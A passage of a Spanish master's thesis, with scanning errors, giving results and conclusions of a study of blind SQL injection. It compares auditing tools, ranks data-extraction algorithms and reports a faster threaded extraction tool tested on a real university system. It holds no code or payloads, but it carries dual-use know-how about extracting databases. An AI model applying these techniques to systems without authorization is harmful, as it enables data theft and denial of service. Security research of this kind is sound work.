Para la extraccion de informacion del riesgo, solo la herramienta SQLMAP tiene la opcion
para evaluar ambos tipos de inyecciones inferenciales: basadas en tiempo y no basadas
en tiempo. Por lo tanto, esta herramienta es una buena opcion cuando no se conoce

especificamente el tipo de inyecciones inferenciales al cual es vulnerable el sitio web (lo
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cual es frecuente). Sin embargo, al no poseer una opcién de identificacion, con esta

herramienta es necesario ingresar de manera manual cada entrada a la aplicacion.

En cuanto a la informacion solicitada al usuario por parte de las herramientas, las cuatro
(15%) que realizan la identificacion, solicitan inicamente la URL de la pagina web a auditar.
El 44% requieren que se indique, ademas de la URL, la entrada de la aplicacion a analizar.
El resto de herramientas solicitan més informacion como el cambio a buscar sobre la
pagina web para el caso de las inyecciones no basadas en tiempo y, en algunos casos,
requieren que se indiqgue manualmente los puertos de conexién y hasta archivos de
configuracion extensos. Teniendo en cuenta que la mayoria de estas herramientas no
tienen documentacion vigente, se requiere de tiempo y conocimiento en programacion para
entender qué parametros se solicitan de modo que funcionen correctamente. Por tal razén,
es mejor utilizar herramientas que sean faciles de configurar, como las que solo solicitan
la URL o, a lo maximo, las que solicitan también la entrada vulnerable. Entre menos
pardmetros requiera la aplicacion, menos tiempo perdido tiene el auditor. Y con el objetivo
de agilizar el proceso, 8 herramientas (29%) funcionan de manera automatizada, por lo
gue, después de indicar los parAmetros necesarios, la herramienta inicia automéaticamente
la extraccion. Solamente el 18,5% de las herramientas extrajo la informacion. El resto no
era compatible con las versiones actuales de base de datos o ni siquiera generaba un

mensaje de error y la opcion de extraer no funcionaba.

El algoritmo mas usado por las herramientas es la buUsqueda binaria, seguida por la
extraccion bit a bit y por la busqueda secuencial optimizada. Esto demuestra la importancia
de este trabajo de investigacion, ya que el algoritmo de blsqueda binaria requiere de
condiciones muy especificas para ser el mejor de los algoritmos analizados. Estas

condiciones no se dan en las herramientas analizadas.

La tabla 29 resume el analisis de los resultados de la comparacion de las herramientas.
Solo aparecen en el listado las que extrajeron correctamente la informacion o identificaron
correctamente el riesgo. Como puede verse en esta tabla, para la identificacion de las
entradas vulnerables, las herramientas Acunetix o V3nOm son las mas recomendadas
debido a que cuentan con soporte actual. Teniendo en cuenta las condiciones de la version
demo de Acunetix, es probable que, para la mayoria de los casos, sea mejor usar v3nOm

por su licenciamiento libre.
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Tabla 29 Andlisis de la comparacién de herramientas realizada

T v | ldentificacié | Extracciébn | Maximo 2 | Herramienta | Algoritm
% '_% n a partir de | de parametros Automatizad | o bit a bit
% i URL inyeccione | para su|a
g’ % s basadas | funcionamient
° en tiempo | o
y no
basadas
en tiempo
Absinthe | No | No No Si No No
Acunetix | Si Si No incluido | Si Si No
Trial
SQLMAP | Si No Si Si Si Si
Wapiti No | Si No Si Sl No
BSQL No | No No Si Si No
Hacker
SQLBrut | No | No No Si No No
e - SQL
Injection
Brute
Forcer
The Mole | No | No No No No No
V3nom Si Si No No Si No

Fuente: Elaboracion propia

Con respecto a la extraccion, la herramienta SQLMap es la mas completa teniendo en
cuenta que extrae la informacién de las inyecciones SQL inferenciales basadas en tiempo
y no basadas en tiempo, cuenta con soporte activo, no solicita mas de dos parametros

para su funcionamiento, es una herramienta automatizada e implementa el algoritmo mas
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rapido. Sin embargo, para el caso de las inyecciones basadas en tiempo, la herramienta
SQLBrute — SQL Injection Brute Forcer es la més rapida. Esto se debe a que implementd
dos optimizaciones al algoritmo de busqueda secuencial: hilos y probabilidad de

ocurrencia.

Como parte del segundo objetivo de este trabajo de investigacién, se implementé una
herramienta de auditoria usando el algoritmo bit a bit optimizado a través de hilos. Este
algoritmo puede paralelizarse de manera completa: un hilo por cada campo de la base de
datos, otro por cada letra del campo y uno por cada bit. Sin embargo, al implementar estos
hilos, la herramienta empezé a realizar tantas peticiones al servidor web, que terminé
realizando una denegacion de servicios. Por tal razén, la herramienta solo cuenta con hilos
para extraer cada bit. Esta optimizacion fue clave para mejorar la velocidad de la extraccion
e incidi6 directamente en que se pudiera superar los tiempos de la herramienta SQLBrute,
la cual, como ya se menciond, cuenta con dos optimizaciones al algoritmo de busqueda

secuencial.

La herramienta desarrollada puede ser utilizada por auditores con o sin conocimiento de
las inyecciones SQL inferenciales, esto porque, posterior a la validacion efectuada en esta
investigacion, implementé la funcionalidad de identificacion a partir de la URL y la
extraccion automatica a partir de las entradas vulnerables. Es necesario realizar mayores
pruebas sobre la funcionalidad de identificacion antes de liberar una version para uso

publico.

Finalmente, como parte del proceso de validacién de la herramienta y respondiendo al
tercer objetivo especifico, se validdé en un entorno real. Esto generd la necesidad de hacer
una herramienta compatible con mas bases de datos, ya que la pagina en la que se probo

esta realizada sobre el motor Oracle.

En el proceso de identificacion, se encontré una entrada vulnerable a una inyeccién SQL.
Aunque no era una inyeccion inferencial, se forz6 a las aplicaciones a extraer la
informacion como si fuera una vulnerabilidad inferencial no basada en tiempo. En esta

validacion, la herramienta desarrollada presentd un mejor tiempo en la evaluacion.
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Ademas, se demostré que, a pesar de ser el principal riesgo de seguridad en un entorno

web, su presencia sigue siendo comun en entornos corporativos.

6.2 Conclusiones

Sobre el analisis de los algoritmos, técnicas y herramientas, se establecieron las siguientes

conclusiones.

1. Uno de los mayores aportes de esta investigacion es que no solo describe, explica
y analiza los algoritmos encontrados, sino que determina las condiciones

favorables para el uso de cada uno. Asi se establecid que el algoritmo bit a bit es

el mejor algoritmo analizado para la extraccion de la informacion.

2. Varios autores determinan de manera aleatoria el tiempo para la inyeccién, por
ejemplo, (Anley, 2002b; W. G. J. Halfond et al., 2008; Stampar, 2016) usan 5
segundos, (Chandrasekhar & Singh, 2014) usa 10 segundos. Sin embargo, esta
investigacion ha comprobado la relacion entre el tiempo de carga de la pagina web
y el retardo inyectado, definiendo férmulas mateméticas para su calculo que distan
de los autores antes citados. La determinacion del tiempo a inyectar no es un valor
aleatorio.

3. Para la implementacioén y aplicacion de las formulas definidas, se debe calcular el
tiempo de carga de la pagina web como el promedio del tiempo de carga de un
namero alto de peticiones al sitio antes de iniciar la extraccion.

4. Parala definiciébn y comparacion de los algoritmos de extraccién, es necesario tener
en cuenta el indice de Precision del Algoritmo (IPA) definido en este trabajo de
investigacion.

5. Hasta antes de la construccion de la herramienta asociada a esta investigacion, la
mejor herramienta para una evaluacion completa del riesgo era SQLMAP. Sin
embargo, hablando sobre velocidad de extraccion, la herramienta SQLBrute - SQL
Injection Brute Forcer extrajo la informacion en el menor tiempo para el caso de las
inyecciones inferenciales basadas en tiempo y The Mole para el caso de las no
basadas en tiempo. Debe tenerse en cuenta que ambas herramientas funcionan de
manera manual por lo que el conocimiento del auditor sobre el riesgo debe ser

mayor.
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Con respecto al desarrollo de la herramienta, se puede concluir que:

1. La herramienta desarrollada es la mejor alternativa para la extraccién de la

informacion. No solo realiza de manera més eficiente el riesgo, sino que la funcién

de identificacion agiliza la aplicacion de las pruebas.

2. PYTHON ha sido el lenguaje de programacion en el cual se han implementado las

herramientas mas eficientes.

3. Las optimizaciones a los algoritmos son claves para el desarrollo de una

herramienta eficiente, aunque debe tener cuidado con el uso de hilos y, en general,

con toda aquella optimizacién que pueda generar una denegacion de servicios.

Después de validar la herramienta disefiada en la evaluacion del riesgo inyecciones SQL

inferenciales en el entorno web del sistema de informaciéon académico de la Universidad

Nacional de Colombia se puede ver que:

1. La presencia del riesgo de inyecciones SQL en dicho entorno confirma las

observaciones realizadas por la organizacion OWASP sobre la alta probabilidad de

la presencia del riesgo.

2. Es posible usar el programa de auditoria propuesto para auditar el riesgo de

inyecciones SQL en un entorno web.

3. La herramienta desarrollada reduce los tiempos de evaluacion en un 13%

aproximadamente con respecto a la herramienta The Mole en un entorno real y en

un 20% con respecto a la herramienta SQLBrute - SQL Injection Brute Forcer en

un entorno de pruebas.

6.3 Trabajo futuro y recomendaciones

Existen 7 diferentes tipos de inyecciones SQL. Esta tesis de maestria analiz6é el tipo

llamado inferenciales. Por lo tanto, existen otros 6 tipos de inyecciones SQL que deben

analizarse a profundidad, con el objetivo de abarcar el riesgo de manera completa.
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Ademas, es necesario realizar un andlisis sobre las metodologias de pruebas de
penetracion y analisis de vulnerabilidad con el objetivo de determinar la que mejor aplica

al entorno colombiano.

Los desarrolladores de ambientes web, deben aplicar con cuidado las recomendaciones
de codigo seguro y las técnicas de autores que han investigado la prevencion de
inyecciones SQL (Atoum & Qaralleh, 2014; Bandhakavi, 2007; Chandrashekhar,
Mardithaya, Thilagam, & Saha, 2012b; W. Halfond & Orso, 2007; Sajjadi & Tajalli Pour,
2013; Shar & Tan, 2013; Tajpour, Ibrahim, & Masrom, 2011).

6.4 Logros: principales contribuciones

Estas son las principales contribuciones de esta investigacion:

- Se determind cual es el mejor algoritmo para la implementacion de herramientas
para la identificacién del riesgo de inyecciones SQL inferenciales.

- Se realizé una herramienta mas eficiente para esta identificacion.

- Se propuso un indice de precisién de los algoritmos para inyecciones SQL

inferenciales.

6.5 Difusidon de los resultados

Se presentd el articulo “A comparison of binary and sequential search algorithms to
evaluate the risk of inferential SQL injections in web applications” a la revista Revista IEEE
América Latina con ISSN 1548-0992 y homologada por Colciencias como A2. Al momento

de escribir esta tesis, este articulo se encuentra en proceso de revision.

Durante la semana del 26 de septiembre de 2016, se realiz6 en la ciudad de Popayan el
Congreso Colombiano de Computacién organizado por la Sociedad Colombiana de
Computacion, por la Fundacion Universitaria de Popayéan, la Universidad del Cauca y por

IEEE Colombia. En este evento, se presenté una ponencia titulada: “Conditions of Binary
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search algorithm for being an optimization of sequential inference algorithms to audit the

risk of SQL injections in web environments”
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